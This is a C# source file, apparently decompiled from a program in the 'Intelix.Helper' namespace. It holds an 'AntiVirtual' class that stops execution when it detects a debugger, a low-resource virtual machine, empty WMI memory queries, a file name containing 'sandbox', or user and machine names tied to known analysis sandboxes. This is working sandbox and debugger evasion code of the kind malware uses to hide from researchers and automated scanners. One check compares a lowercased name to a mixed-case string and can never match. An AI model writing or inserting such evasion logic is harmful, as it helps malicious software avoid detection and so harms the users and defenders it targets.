Files
2026-08-27 18:29:08 +00:00

102 lines
2.0 KiB
C#

using System;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Management;
namespace Intelix.Helper;
public static class AntiVirtual
{
public static void CheckOrExit()
{
if (ProccessorCheck())
{
throw new Exception();
}
if (CheckDebugger())
{
throw new Exception();
}
if (CheckMemory())
{
throw new Exception();
}
if (CheckDriveSpace())
{
throw new Exception();
}
if (CheckUserConditions())
{
throw new Exception();
}
if (CheckCache())
{
throw new Exception();
}
if (CheckFileName())
{
throw new Exception();
}
if (CheckCim())
{
throw new Exception();
}
}
public static bool CheckFileName()
{
return Path.GetFileNameWithoutExtension(Process.GetCurrentProcess().MainModule.FileName).ToLower().Contains("sandbox");
}
public static bool ProccessorCheck()
{
return Environment.ProcessorCount <= 1;
}
public static bool CheckDebugger()
{
return Debugger.IsAttached;
}
public static bool CheckDriveSpace()
{
return new DriveInfo("C").TotalSize / 1073741824 < 50;
}
public static bool CheckCache()
{
return CheckCount("Select * from Win32_CacheMemory");
}
public static bool CheckCim()
{
return CheckCount("Select * from CIM_Memory");
}
public static bool CheckCount(string selector)
{
return new ManagementObjectSearcher(selector).Get().Count == 0;
}
public static bool CheckMemory()
{
return Convert.ToDouble(new ManagementObjectSearcher("Select * From Win32_ComputerSystem").Get().Cast<ManagementObject>().FirstOrDefault()["TotalPhysicalMemory"]) / 1048576.0 < 2048.0;
}
public static bool CheckUserConditions()
{
string text = Environment.UserName.ToLower();
string text2 = Environment.MachineName.ToLower();
if ((!(text == "frank") || !text2.Contains("desktop")) && !(text == "WDAGUtilityAccount"))
{
if (text == "robert")
{
return text2.Contains("22h2");
}
return false;
}
return true;
}
}